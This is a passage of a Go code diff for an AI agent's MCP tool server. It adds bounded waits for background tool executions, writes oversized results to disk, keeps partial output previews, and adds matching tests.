s.mu.Lock()
s.toolResultMaxBytes = maxBytes
s.mu.Unlock()
if s.executionService != nil {
s.executionService.ConfigureToolResultMaxBytes(maxBytes)
}
}
// ConfigureToolResultSpillRoot sets the local directory root used when oversized
// tool results are spilled (aligned with reduction_root_dir; empty → tmp/reduction).
func (s *Server) ConfigureToolResultSpillRoot(rootDir string) {
if s == nil {
return
}
s.mu.Lock()
s.spillRootDir = strings.TrimSpace(rootDir)
s.mu.Unlock()
if s.executionService != nil {
s.executionService.ConfigureToolResultSpillRoot(rootDir)
}
}
// ConfigureHTTPToolCallTimeoutFromAgentMinutes 将 agent.tool_timeout_minutes 同步到经 HTTP POST /api/mcp 触发的 tools/call。
// minutes<=0 表示不设置硬性截止时间(与配置「0 不限制」一致);minutes>0 为该次调用的最长等待时间。
// 未调用前对 tools/call 使用默认 30 分钟(与历史硬编码一致)。
@@ -125,6 +161,19 @@ func (s *Server) ConfigureHTTPToolCallTimeoutFromAgentMinutes(minutes int) {
s.httpToolTimeoutMinutes = &v
}
func (s *Server) ConfigureToolWaitTimeoutSeconds(seconds int) {
if s == nil {
return
}
s.mu.Lock()
defer s.mu.Unlock()
if seconds <= 0 {
s.toolWaitTimeout = 0
return
}
s.toolWaitTimeout = time.Duration(seconds) * time.Second
}
func (s *Server) effectiveHTTPToolCallDeadline(parent context.Context) (context.Context, context.CancelFunc) {
const defaultDur = 30 * time.Minute
if parent == nil {
@@ -555,13 +604,13 @@ func (s *Server) handleCallTool(requestCtx context.Context, msg *Message) *Messa
st, msg := executionStatusAndMessage(err)
execution.Status = st
execution.Error = msg
failed = true
failed = st != "cancelled"
} else if result != nil && result.IsError {
if cancelledWithUserNote {
execution.Status = "cancelled"
execution.Error = ""
execution.Result = result
failed = true
failed = false
} else {
execution.Status = "failed"
if len(result.Content) > 0 {
@@ -709,6 +758,11 @@ func (s *Server) updateStats(toolName string, failed bool) {
// GetExecution 获取执行记录(先从内存查找,再从数据库查找)
func (s *Server) GetExecution(id string) (*ToolExecution, bool) {
if s.executionService != nil {
if snap, err := s.executionService.Get(id); err == nil && snap != nil && snap.Execution != nil {
return snap.Execution, true
}
}
s.mu.RLock()
exec, exists := s.executions[id]
s.mu.RUnlock()
@@ -860,112 +914,91 @@ func (s *Server) CallTool(ctx context.Context, toolName string, args map[string]
return nil, "", fmt.Errorf("工具 %s 未找到", toolName)
}
// 创建执行记录
executionID := uuid.New().String()
execution := &ToolExecution{
ID: executionID,
ToolName: toolName,
Arguments: args,
Status: "running",
StartTime: time.Now(),
if s.executionService == nil {
s.executionService = NewExecutionService(s.storage, s.logger)
s.executionService.ConfigureToolResultMaxBytes(s.toolResultMaxBytes)
s.executionService.ConfigureToolResultSpillRoot(s.spillRootDir)
}
var ownerUserID string
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
execution.OwnerUserID = principal.UserID
ownerUserID = principal.UserID
}
execution.ConversationID = MCPConversationIDFromContext(ctx)
s.mu.Lock()
s.executions[executionID] = execution
// 如果内存中的执行记录超过限制,清理最旧的记录
s.cleanupOldExecutions()
s.mu.Unlock()
if s.storage != nil {
if err := s.storage.SaveToolExecution(execution); err != nil {
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
}
}
execCtx, runCancel := context.WithCancel(ctx)
s.registerRunningCancel(executionID, runCancel)
notifyToolRunBegin(ctx, executionID)
defer func() {
notifyToolRunEnd(ctx, executionID)
runCancel()
s.unregisterRunningCancel(executionID)
}()
result, err := handler(execCtx, args)
cancelledWithUserNote := s.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
s.mu.Lock()
now := time.Now()
execution.EndTime = &now
execution.Duration = now.Sub(execution.StartTime)
var failed bool
var finalResult *ToolResult
handle, err := s.executionService.Submit(ctx, ExecutionRequest{
ToolName: toolName,
Arguments: args,
ConversationID: MCPConversationIDFromContext(ctx),
OwnerUserID: ownerUserID,
Run: func(runCtx context.Context) (*ToolResult, error) {
return handler(runCtx, args)
},
OnDone: func(exec *ToolExecution) {
failed := exec != nil && exec.Status != ToolExecutionStatusCompleted && exec.Status != ToolExecutionStatusCancelled
s.updateStats(toolName, failed)
},
})
if err != nil {
st, msg := executionStatusAndMessage(err)
execution.Status = st
execution.Error = msg
failed = true
} else if result != nil && result.IsError {
if cancelledWithUserNote {
execution.Status = "cancelled"
execution.Error = ""
execution.Result = result
failed = true
finalResult = result
} else {
execution.Status = "failed"
if len(result.Content) > 0 {
execution.Error = result.Content[0].Text
} else {
execution.Error = "工具执行返回错误结果"
}
execution.Result = result
failed = true
finalResult = result
}
} else {
execution.Status = "completed"
if result == nil {
result = &ToolResult{
Content: []Content{
{Type: "text", Text: "工具执行完成,但未返回结果"},
},
}
}
execution.Result = result
finalResult = result
failed = false
return nil, "", err
}
if finalResult == nil {
finalResult = execution.Result
s.mu.RLock()
waitTimeout := s.toolWaitTimeout
s.mu.RUnlock()
if isExecutionControlTool(toolName) {
waitTimeout = 0
}
s.mu.Unlock()
if s.storage != nil {
if err := s.storage.SaveToolExecution(execution); err != nil {
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
}
snapshot, waitErr := s.executionService.Wait(ctx, handle.ID, waitTimeout)
if errors.Is(waitErr, ErrExecutionWaitTimeout) {
return internalMCPWaitTimeoutResult(snapshot, waitTimeout), handle.ID, nil
}
s.updateStats(toolName, failed)
if s.storage != nil {
s.mu.Lock()
delete(s.executions, executionID)
s.mu.Unlock()
if waitErr != nil {
return nil, handle.ID, waitErr
}
if err != nil {
return nil, executionID, err
if snapshot == nil || snapshot.Execution == nil {
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回执行快照"}}, IsError: true}, handle.ID, nil
}
if snapshot.Execution.Result != nil {
return snapshot.Execution.Result, handle.ID, nil
}
if snapshot.Execution.Error != "" {
return nil, handle.ID, errors.New(snapshot.Execution.Error)
}
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}, IsError: false}, handle.ID, nil
}
return finalResult, executionID, nil
func internalMCPWaitTimeoutResult(snapshot *ExecutionSnapshot, waitTimeout time.Duration) *ToolResult {
execID := ""
status := ToolExecutionStatusRunning
toolName := ""
elapsed := time.Duration(0)
if snapshot != nil && snapshot.Execution != nil {
execID = snapshot.Execution.ID
status = snapshot.Execution.Status
toolName = snapshot.Execution.ToolName
elapsed = time.Since(snapshot.Execution.StartTime).Round(time.Second)
}
waitText := "unbounded"
if waitTimeout > 0 {
waitText = waitTimeout.Round(time.Second).String()
}
msg := fmt.Sprintf(`工具已提交到后台执行但本次等待已到达上限
execution_id: %s
tool: %s
status: %s
wait_timeout: %s
elapsed: %s
你可以继续推理改用其他工具或调用 wait_tool_execution 继续等待该 execution_id也可以调用 cancel_tool_execution 取消`, execID, toolName, status, waitText, elapsed)
return &ToolResult{Content: []Content{{Type: "text", Text: msg}}, IsError: true}
}
func isExecutionControlTool(toolName string) bool {
switch strings.TrimSpace(toolName) {
case builtin.ToolGetToolExecution, builtin.ToolWaitToolExecution, builtin.ToolCancelToolExecution:
return true
default:
return false
}
}
// BeginToolExecution 创建 running 状态的执行记录,供 Eino 等非 CallTool 路径在工具开始时落库。
@@ -1020,6 +1053,8 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
var finalResult *ToolResult
s.mu.Lock()
maxBytes := s.toolResultMaxBytes
spillRoot := s.spillRootDir
exec, inMem := s.executions[id]
if !inMem || exec == nil {
exec = &ToolExecution{
@@ -1047,12 +1082,19 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
}
exec.Duration = now.Sub(exec.StartTime)
spill := ToolResultSpillConfig{
RootDir: spillRoot,
ProjectID: MCPProjectIDFromContext(ctx),
ConversationID: exec.ConversationID,
ExecutionID: id,
}
if failed {
st, msg := executionStatusAndMessage(invokeErr)
exec.Status = st
exec.Error = msg
if strings.TrimSpace(resultText) != "" {
finalResult = &ToolResult{Content: []Content{{Type: "text", Text: resultText}}}
finalResult = NormalizeToolResultForStorageWithSpill(finalResult, maxBytes, spill)
exec.Result = finalResult
}
} else {
@@ -1062,6 +1104,7 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
text = "(无输出)"
}
finalResult = &ToolResult{Content: []Content{{Type: "text", Text: text}}}
finalResult = NormalizeToolResultForStorageWithSpill(finalResult, maxBytes, spill)
exec.Result = finalResult
}
s.mu.Unlock()
@@ -1082,6 +1125,25 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
return id
}
// AppendToolExecutionPartialOutput records a bounded tail preview for a running local execution.
// The final Result remains authoritative and is written only when the tool finishes.
func (s *Server) AppendToolExecutionPartialOutput(executionID, chunk string) {
if s == nil || strings.TrimSpace(executionID) == "" || chunk == "" {
return
}
id := strings.TrimSpace(executionID)
if s.executionService != nil && s.executionService.AppendPartialOutput(id, chunk) {
return
}
now := time.Now()
s.mu.Lock()
exec := s.executions[id]
if exec != nil {
appendPartialOutput(exec, chunk, defaultPartialOutputMaxBytes, now)
}
s.mu.Unlock()
}
// RecordCompletedToolInvocation 将已在其它路径完成的工具调用写入监控存储(格式与 CallTool 结束后一致),
// 用于 Eino ADK filesystem execute 等未经过 CallTool 的场景;返回 executionId 供助手消息 mcpExecutionIds 关联。
func (s *Server) RecordCompletedToolInvocation(ctx context.Context, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
@@ -1098,8 +1160,16 @@ func (s *Server) UpdateToolExecutionResult(executionID string, result *ToolResul
return nil
}
s.mu.Lock()
spill := ToolResultSpillConfig{
RootDir: s.spillRootDir,
ExecutionID: executionID,
}
if exec, ok := s.executions[executionID]; ok && exec != nil {
spill.ConversationID = exec.ConversationID
result = NormalizeToolResultForStorageWithSpill(result, s.toolResultMaxBytes, spill)
exec.Result = result
} else {
result = NormalizeToolResultForStorageWithSpill(result, s.toolResultMaxBytes, spill)
}
s.mu.Unlock()
if s.storage != nil {
@@ -1157,6 +1227,24 @@ func (s *Server) unregisterRunningCancel(id string) {
s.runningCancelsMu.Unlock()
}
// RegisterToolExecutionCancel lets non-ExecutionService tool paths, such as Eino
// filesystem execute, participate in cancel_tool_execution by execution_id.
func (s *Server) RegisterToolExecutionCancel(id string, cancel context.CancelFunc) {
id = strings.TrimSpace(id)
if s == nil || id == "" || cancel == nil {
return
}
s.registerRunningCancel(id, cancel)
}
func (s *Server) UnregisterToolExecutionCancel(id string) {
id = strings.TrimSpace(id)
if s == nil || id == "" {
return
}
s.unregisterRunningCancel(id)
}
func (s *Server) readAbortUserNote(id string) string {
s.runningCancelsMu.Lock()
defer s.runningCancelsMu.Unlock()
@@ -1205,6 +1293,9 @@ func (s *Server) applyAbortUserNoteToCancelledToolResult(executionID string, res
// CancelToolExecutionWithNote 取消内部工具;note 非空时与工具已返回文本合并后交给上层模型。
func (s *Server) CancelToolExecutionWithNote(id string, note string) bool {
if s.executionService != nil && s.executionService.Cancel(id, note) {
return true
}
s.runningCancelsMu.Lock()
cancel, ok := s.runningCancels[id]
if !ok || cancel == nil {
@@ -1232,12 +1323,17 @@ func (s *Server) ActiveRunningExecutionIDs() map[string]struct{} {
if s == nil {
return nil
}
out := make(map[string]struct{})
if s.executionService != nil {
for id := range s.executionService.ActiveRunningExecutionIDs() {
out[id] = struct{}{}
}
}
s.runningCancelsMu.Lock()
defer s.runningCancelsMu.Unlock()
if len(s.runningCancels) == 0 {
if len(s.runningCancels) == 0 && len(out) == 0 {
return nil
}
out := make(map[string]struct{}, len(s.runningCancels))
for id := range s.runningCancels {
out[id] = struct{}{}
}
+184
View File
@@ -3,7 +3,9 @@ package mcp
import (
"context"
"errors"
"strings"
"testing"
"time"
"cyberstrike-ai/internal/authctx"
@@ -34,3 +36,185 @@ func TestToolAuthorizerIsUniversalAndExecutionKeepsOwner(t *testing.T) {
t.Fatalf("execution owner = %#v, want u1", execution)
}
}
func TestServerCallToolBoundedWaitForInternalTool(t *testing.T) {
server := NewServer(zap.NewNop())
server.toolWaitTimeout = 10 * time.Millisecond
release := make(chan struct{})
started := make(chan struct{})
server.RegisterTool(Tool{Name: "slow", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
close(started)
select {
case <-release:
return &ToolResult{Content: []Content{{Type: "text", Text: "internal done"}}}, nil
case <-ctx.Done():
return nil, ctx.Err()
}
})
callCtx, callCancel := context.WithCancel(context.Background())
result, executionID, err := server.CallTool(callCtx, "slow", nil)
if err != nil {
t.Fatalf("CallTool returned error: %v", err)
}
if executionID == "" || result == nil || !result.IsError {
t.Fatalf("expected soft timeout with execution id, result=%#v id=%q", result, executionID)
}
if text := ToolResultPlainText(result); !strings.Contains(text, executionID) || !strings.Contains(text, "wait_tool_execution") {
t.Fatalf("timeout result missing execution guidance: %q", text)
}
select {
case <-started:
default:
t.Fatal("internal worker did not start")
}
callCancel()
close(release)
snapshot, err := server.executionService.Wait(context.Background(), executionID, time.Second)
if err != nil {
t.Fatalf("wait internal execution: %v", err)
}
if snapshot == nil || snapshot.Execution == nil || snapshot.Execution.Status != ToolExecutionStatusCompleted {
t.Fatalf("snapshot = %#v, want completed", snapshot)
}
if got := ToolResultPlainText(snapshot.Execution.Result); got != "internal done" {
t.Fatalf("result = %q, want internal done", got)
}
}
func TestWaitToolExecutionWaitsForInternalActiveExecution(t *testing.T) {
server := NewServer(zap.NewNop())
server.toolWaitTimeout = 10 * time.Millisecond
release := make(chan struct{})
server.RegisterTool(Tool{Name: "slow", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
select {
case <-release:
return &ToolResult{Content: []Content{{Type: "text", Text: "wait saw completion"}}}, nil
case <-ctx.Done():
return nil, ctx.Err()
}
})
RegisterExecutionControlTools(server, nil)
result, executionID, err := server.CallTool(context.Background(), "slow", nil)
if err != nil {
t.Fatalf("CallTool returned error: %v", err)
}
if result == nil || !result.IsError || executionID == "" {
t.Fatalf("expected initial bounded wait timeout, result=%#v id=%q", result, executionID)
}
done := make(chan *ToolResult, 1)
errCh := make(chan error, 1)
go func() {
waitResult, _, waitErr := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
"execution_id": executionID,
"timeout_seconds": 1,
})
if waitErr != nil {
errCh <- waitErr
return
}
done <- waitResult
}()
select {
case <-done:
t.Fatal("wait_tool_execution returned before target execution completed")
case err := <-errCh:
t.Fatalf("wait_tool_execution errored before release: %v", err)
case <-time.After(50 * time.Millisecond):
}
close(release)
select {
case err := <-errCh:
t.Fatalf("wait_tool_execution returned error: %v", err)
case waitResult := <-done:
if waitResult == nil || waitResult.IsError {
t.Fatalf("expected successful wait result, got %#v", waitResult)
}
if body := ToolResultPlainText(waitResult); !strings.Contains(body, "wait saw completion") || !strings.Contains(body, `"status": "completed"`) {
t.Fatalf("wait result missing completed target: %s", body)
}
case <-time.After(time.Second):
t.Fatal("wait_tool_execution did not return after target completion")
}
}
func TestWaitToolExecutionTimeoutIsObservationNotFailure(t *testing.T) {
server := NewServer(zap.NewNop())
server.toolWaitTimeout = 10 * time.Millisecond
release := make(chan struct{})
server.RegisterTool(Tool{Name: "slow_observed", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
<-release
return &ToolResult{Content: []Content{{Type: "text", Text: "done"}}}, nil
})
RegisterExecutionControlTools(server, nil)
result, executionID, err := server.CallTool(context.Background(), "slow_observed", nil)
if err != nil {
t.Fatalf("CallTool returned error: %v", err)
}
if result == nil || !result.IsError || executionID == "" {
t.Fatalf("expected initial bounded wait timeout, result=%#v id=%q", result, executionID)
}
waitResult, _, err := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
"execution_id": executionID,
"timeout_seconds": 0.01,
})
if err != nil {
t.Fatalf("wait_tool_execution returned error: %v", err)
}
if waitResult == nil {
t.Fatal("missing wait result")
}
if waitResult.IsError {
t.Fatalf("wait timeout should be a successful observation, got %#v", waitResult)
}
body := ToolResultPlainText(waitResult)
if !strings.Contains(body, `"status": "running"`) || !strings.Contains(body, "本次等待已到达") {
t.Fatalf("wait timeout body missing running status/guidance: %s", body)
}
close(release)
}
func TestGetToolExecutionIncludesBoundedPartialOutput(t *testing.T) {
server := NewServer(zap.NewNop())
RegisterExecutionControlTools(server, nil)
executionID := server.BeginToolExecution(context.Background(), "execute", map[string]interface{}{"command": "demo"})
if executionID == "" {
t.Fatal("missing execution id")
}
server.AppendToolExecutionPartialOutput(executionID, "first\n")
server.AppendToolExecutionPartialOutput(executionID, strings.Repeat("x", 32))
result, _, err := server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
"execution_id": executionID,
"partial_output_max_bytes": 8,
})
if err != nil {
t.Fatalf("get_tool_execution: %v", err)
}
body := ToolResultPlainText(result)
if !strings.Contains(body, `"partial_output": "xxxxxxxx"`) {
t.Fatalf("missing bounded partial output: %s", body)
}
if !strings.Contains(body, `"partial_output_bytes": 38`) {
t.Fatalf("missing partial byte count: %s", body)
}
result, _, err = server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
"execution_id": executionID,
"include_partial_output": false,
})
if err != nil {
t.Fatalf("get_tool_execution without partial: %v", err)
}
if body := ToolResultPlainText(result); strings.Contains(body, "partial_output") {
t.Fatalf("partial output should be omitted: %s", body)
}
}
+65
View File
@@ -0,0 +1,65 @@
package mcp
import "cyberstrike-ai/internal/tooloutput"
const DefaultToolResultMaxBytes = 12000
// ToolResultSpillConfig controls where oversized tool results are written on disk
// before the in-memory/DB/agent-facing payload is truncated.
type ToolResultSpillConfig struct {
RootDir string
ProjectID string
ConversationID string
ExecutionID string
}
// NormalizeToolResultForStorage returns the canonical result used by both the
// agent-facing response and monitor persistence. When maxBytes is exceeded the
// full text is spilled under the reduction cache tree and replaced with a
// <persisted-output> notice that includes the file path.
func NormalizeToolResultForStorage(result *ToolResult, maxBytes int) *ToolResult {
return NormalizeToolResultForStorageWithSpill(result, maxBytes, ToolResultSpillConfig{})
}
// NormalizeToolResultForStorageWithSpill is NormalizeToolResultForStorage with
// an explicit spill location (conversation/execution scoped).
func NormalizeToolResultForStorageWithSpill(result *ToolResult, maxBytes int, spill ToolResultSpillConfig) *ToolResult {
if result == nil {
return nil
}
out := cloneToolResult(result)
if maxBytes <= 0 {
return out
}
total := 0
for _, c := range out.Content {
if c.Type == "text" {
total += len(c.Text)
}
}
if total <= maxBytes {
return out
}
full := ToolResultPlainText(out)
bound := tooloutput.BoundWithSpill(full, maxBytes, tooloutput.SpillOpts{
RootDir: spill.RootDir,
ProjectID: spill.ProjectID,
ConversationID: spill.ConversationID,
ExecutionID: spill.ExecutionID,
})
out.Content = []Content{{Type: "text", Text: bound}}
return out
}
func cloneToolResult(in *ToolResult) *ToolResult {
if in == nil {
return nil
}
out := *in
if in.Content != nil {
out.Content = append([]Content(nil), in.Content...)
}
return &out
}
+158
View File
@@ -0,0 +1,158 @@
package mcp
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"time"
"go.uber.org/zap"
)
type inMemoryMonitorStorage struct {
executions map[string]*ToolExecution
}
func newInMemoryMonitorStorage() *inMemoryMonitorStorage {
return &inMemoryMonitorStorage{executions: map[string]*ToolExecution{}}
}
func (s *inMemoryMonitorStorage) SaveToolExecution(exec *ToolExecution) error {
if exec != nil {
s.executions[exec.ID] = cloneToolExecution(exec)
}
return nil
}
func (s *inMemoryMonitorStorage) UpdateToolExecutionResult(id string, result *ToolResult) error {
exec := s.executions[id]
if exec == nil {
exec = &ToolExecution{ID: id}
s.executions[id] = exec
}
exec.Result = cloneToolResult(result)
return nil
}
func (s *inMemoryMonitorStorage) LoadToolExecutions() ([]*ToolExecution, error) {
out := make([]*ToolExecution, 0, len(s.executions))
for _, exec := range s.executions {
out = append(out, cloneToolExecution(exec))
}
return out, nil
}
func (s *inMemoryMonitorStorage) GetToolExecution(id string) (*ToolExecution, error) {
if exec := s.executions[id]; exec != nil {
return cloneToolExecution(exec), nil
}
return nil, nil
}
func (s *inMemoryMonitorStorage) SaveToolStats(string, *ToolStats) error { return nil }
func (s *inMemoryMonitorStorage) LoadToolStats() (map[string]*ToolStats, error) {
return map[string]*ToolStats{}, nil
}
func (s *inMemoryMonitorStorage) UpdateToolStats(string, int, int, int, *time.Time) error {
return nil
}
func TestServerCallToolStoresAndReturnsSameGuardedResult(t *testing.T) {
storage := newInMemoryMonitorStorage()
server := NewServerWithStorage(zap.NewNop(), storage)
server.ConfigureToolWaitTimeoutSeconds(0)
server.ConfigureToolResultMaxBytes(400)
spillRoot := t.TempDir()
server.ConfigureToolResultSpillRoot(spillRoot)
server.RegisterTool(Tool{Name: "big", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
return &ToolResult{Content: []Content{{Type: "text", Text: strings.Repeat("x", 800)}}}, nil
})
ctx := WithMCPConversationID(context.Background(), "conv-spill")
result, executionID, err := server.CallTool(ctx, "big", nil)
if err != nil {
t.Fatalf("CallTool: %v", err)
}
if executionID == "" {
t.Fatal("missing execution id")
}
returned := ToolResultPlainText(result)
if !strings.Contains(returned, "<persisted-output>") || !strings.Contains(returned, "Full output saved to:") {
t.Fatalf("returned result was not spilled: %q", returned)
}
if len(returned) > 400 {
t.Fatalf("returned result exceeded hard limit: len=%d text=%q", len(returned), returned)
}
spillPath := filepath.Join(spillRoot, "conversations", "conv-spill", "trunc", executionID)
abs, err := filepath.Abs(spillPath)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(returned, abs) {
t.Fatalf("missing spill path %q in %q", abs, returned)
}
body, err := os.ReadFile(abs)
if err != nil {
t.Fatalf("read spill file: %v", err)
}
if string(body) != strings.Repeat("x", 800) {
t.Fatalf("spill body mismatch: len=%d", len(body))
}
inMem, ok := server.GetExecution(executionID)
if !ok || inMem == nil || inMem.Result == nil {
t.Fatalf("missing in-memory execution: %#v", inMem)
}
stored := storage.executions[executionID]
if stored == nil || stored.Result == nil {
t.Fatalf("missing stored execution: %#v", stored)
}
if ToolResultPlainText(inMem.Result) != returned {
t.Fatalf("in-memory result != returned\nmem=%q\nret=%q", ToolResultPlainText(inMem.Result), returned)
}
if ToolResultPlainText(stored.Result) != returned {
t.Fatalf("stored result != returned\nstored=%q\nret=%q", ToolResultPlainText(stored.Result), returned)
}
}
func TestExecutionServiceStoresGuardedResult(t *testing.T) {
service := NewExecutionService(nil, zap.NewNop())
service.ConfigureToolResultMaxBytes(400)
spillRoot := t.TempDir()
service.ConfigureToolResultSpillRoot(spillRoot)
handle, err := service.Submit(context.Background(), ExecutionRequest{
ToolName: "big",
ConversationID: "svc-conv",
Run: func(context.Context) (*ToolResult, error) {
return &ToolResult{Content: []Content{{Type: "text", Text: strings.Repeat("a", 800)}}}, nil
},
})
if err != nil {
t.Fatalf("Submit: %v", err)
}
snap, err := service.Wait(context.Background(), handle.ID, time.Second)
if err != nil {
t.Fatalf("Wait: %v", err)
}
got := ToolResultPlainText(snap.Execution.Result)
if !strings.Contains(got, "<persisted-output>") {
t.Fatalf("service result was not spilled: %q", got)
}
if len(got) > 400 {
t.Fatalf("service result exceeded hard limit: len=%d text=%q", len(got), got)
}
path := filepath.Join(spillRoot, "conversations", "svc-conv", "trunc", handle.ID)
abs, _ := filepath.Abs(path)
body, err := os.ReadFile(abs)
if err != nil {
t.Fatalf("read spill: %v", err)
}
if string(body) != strings.Repeat("a", 800) {
t.Fatalf("unexpected spill body len=%d", len(body))
}
}
+6
View File
@@ -199,6 +199,12 @@ type ToolExecution struct {
StartTime time.Time `json:"startTime"`
EndTime *time.Time `json:"endTime,omitempty"`
Duration time.Duration `json:"duration,omitempty"`
// PartialOutput is a bounded tail preview of output produced by a running tool.
// It is intentionally separate from Result, which remains the final canonical tool result.
PartialOutput string `json:"partialOutput,omitempty"`
PartialOutputBytes int64 `json:"partialOutputBytes,omitempty"`
PartialOutputTruncated bool `json:"partialOutputTruncated,omitempty"`
PartialOutputUpdatedAt *time.Time `json:"partialOutputUpdatedAt,omitempty"`
// ConversationID 仅 API 展示用(进行中的 Agent 任务),不写入 tool_executions 表。
ConversationID string `json:"conversationId,omitempty"`
OwnerUserID string `json:"-"`
+2 -2
View File
@@ -14,7 +14,7 @@ const (
staleRunningReconcileGap = 2 * time.Minute
)
// ExecutionReconciler 在启动或运行期将无对应协程的 running 执行记录收尾为 cancelled。
// ExecutionReconciler 在启动或运行期将无对应协程的 running 执行记录收尾为 orphaned。
type ExecutionReconciler struct {
db *database.DB
mcpServer *mcp.Server
@@ -32,7 +32,7 @@ func NewExecutionReconciler(db *database.DB, mcpServer *mcp.Server, externalMgr
}
}
// ReconcileOnStartup marks every persisted running row as cancelled (safe right after process start).
// ReconcileOnStartup marks every persisted running row as orphaned (safe right after process start).
func (r *ExecutionReconciler) ReconcileOnStartup() {
if r == nil || r.db == nil {
return
+2 -2
View File
@@ -32,7 +32,7 @@ func TestExecutionReconciler_ReconcileOnStartup(t *testing.T) {
if err != nil {
t.Fatalf("GetToolExecution: %v", err)
}
if got.Status != "cancelled" {
t.Fatalf("expected cancelled after startup reconcile, got %s", got.Status)
if got.Status != "orphaned" {
t.Fatalf("expected orphaned after startup reconcile, got %s", got.Status)
}
}
+48 -4
View File
@@ -8,6 +8,7 @@ import (
"io"
"os"
"path/filepath"
"regexp"
"strings"
"sync"
"sync/atomic"
@@ -315,10 +316,12 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
if len(preview) > 200 {
preview = preview[:200] + "..."
}
backgroundRunning := isErr && isMCPBackgroundWaitResult(content)
displayIsErr := isErr && !backgroundRunning
data := map[string]interface{}{
"toolName": toolName,
"success": !isErr,
"isError": isErr,
"success": !displayIsErr,
"isError": displayIsErr,
"result": content,
"resultPreview": preview,
"agentFacing": true, // 与 reduction 后送入 ChatModel 的正文一致,供前端展示
@@ -327,6 +330,13 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
"einoRole": einoRoleTag(agentName),
"source": "eino",
}
if backgroundRunning {
data["status"] = "background_running"
data["modelFacingIsError"] = isErr
if execID := mcpExecutionIDFromWaitResult(content); execID != "" {
data["executionId"] = execID
}
}
tid := strings.TrimSpace(toolCallID)
if tid == "" {
if inferred, ok := popNextPendingForAgent(agentName); ok {
@@ -347,8 +357,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
data["toolCallId"] = tid
toolCallID = tid
}
recordPendingExecuteStdoutDup(toolName, content, isErr)
recordEinoADKFilesystemToolMonitor(ctx, args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, args.MCPExecutionBinder, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
recordPendingExecuteStdoutDup(toolName, content, displayIsErr)
recordEinoADKFilesystemToolMonitor(ctx, args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, args.MCPExecutionBinder, toolName, toolCallID, runAccumulatedMsgs, content, displayIsErr)
if args.FilesystemMonitorAgent != nil && args.MCPExecutionBinder != nil {
if execID := args.MCPExecutionBinder.ExecutionID(toolCallID); execID != "" {
args.FilesystemMonitorAgent.UpdateMCPExecutionDisplayResult(execID, content)
@@ -1242,6 +1252,40 @@ func einoToolResultIsError(toolName, content string) bool {
return false
}
func isMCPBackgroundWaitResult(content string) bool {
text := strings.ToLower(strings.TrimSpace(content))
if text == "" {
return false
}
hasExecutionID := strings.Contains(text, "execution_id:") || strings.Contains(text, `"execution_id"`)
hasRunningStatus := strings.Contains(text, "status: running") || strings.Contains(text, "status: queued") ||
strings.Contains(text, `"status": "running"`) || strings.Contains(text, `"status":"running"`) ||
strings.Contains(text, `"status": "queued"`) || strings.Contains(text, `"status":"queued"`)
hasSoftWaitSignal := strings.Contains(text, "工具已提交到后台执行") ||
strings.Contains(text, "本次等待已到达") ||
strings.Contains(text, "wait_timeout:") ||
strings.Contains(text, "background execution") ||
strings.Contains(text, "still running") ||
strings.Contains(text, "仍未完成")
return hasExecutionID && hasRunningStatus && hasSoftWaitSignal
}
func mcpExecutionIDFromWaitResult(content string) string {
re := regexp.MustCompile(`(?i)"?execution_id"?\s*[:=]\s*"?([0-9a-f]{8}-[0-9a-f-]{12,})"?`)
if m := re.FindStringSubmatch(content); len(m) > 1 {
return strings.TrimSpace(m[1])
}
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
lower := strings.ToLower(line)
if !strings.HasPrefix(lower, "execution_id:") {
continue
}
return strings.Trim(strings.TrimSpace(line[len("execution_id:"):]), `"'`)
}
return ""
}
// einoToolResultBody 去掉工具错误前缀,返回展示/持久化正文。
func einoToolResultBody(content string) string {
if strings.HasPrefix(content, einomcp.ToolErrorPrefix) {
@@ -112,3 +112,41 @@ func TestFriendlyEinoExecuteInvokeTail(t *testing.T) {
t.Fatal("unexpected error should get tail")
}
}
func TestMCPBackgroundWaitResultIsDisplayRunning(t *testing.T) {
body := `工具已提交到后台执行但本次等待已到达上限
execution_id: 3eaaa391-050b-4be1-a870-48a855923cb7
tool: exec
status: running
wait_timeout: 10s
elapsed: 10s
你可以继续推理改用其他工具或调用 wait_tool_execution 继续等待该 execution_id也可以调用 cancel_tool_execution 取消`
modelFacing := einomcp.ToolErrorPrefix + body
if !einoToolResultIsError("exec", modelFacing) {
t.Fatal("soft wait timeout must remain model-facing tool error")
}
if !isMCPBackgroundWaitResult(einoToolResultBody(modelFacing)) {
t.Fatal("soft wait timeout should display as background running")
}
if got := mcpExecutionIDFromWaitResult(einoToolResultBody(modelFacing)); got != "3eaaa391-050b-4be1-a870-48a855923cb7" {
t.Fatalf("execution id = %q", got)
}
if isMCPBackgroundWaitResult("execution_id: abc\nstatus: failed\nerror: boom") {
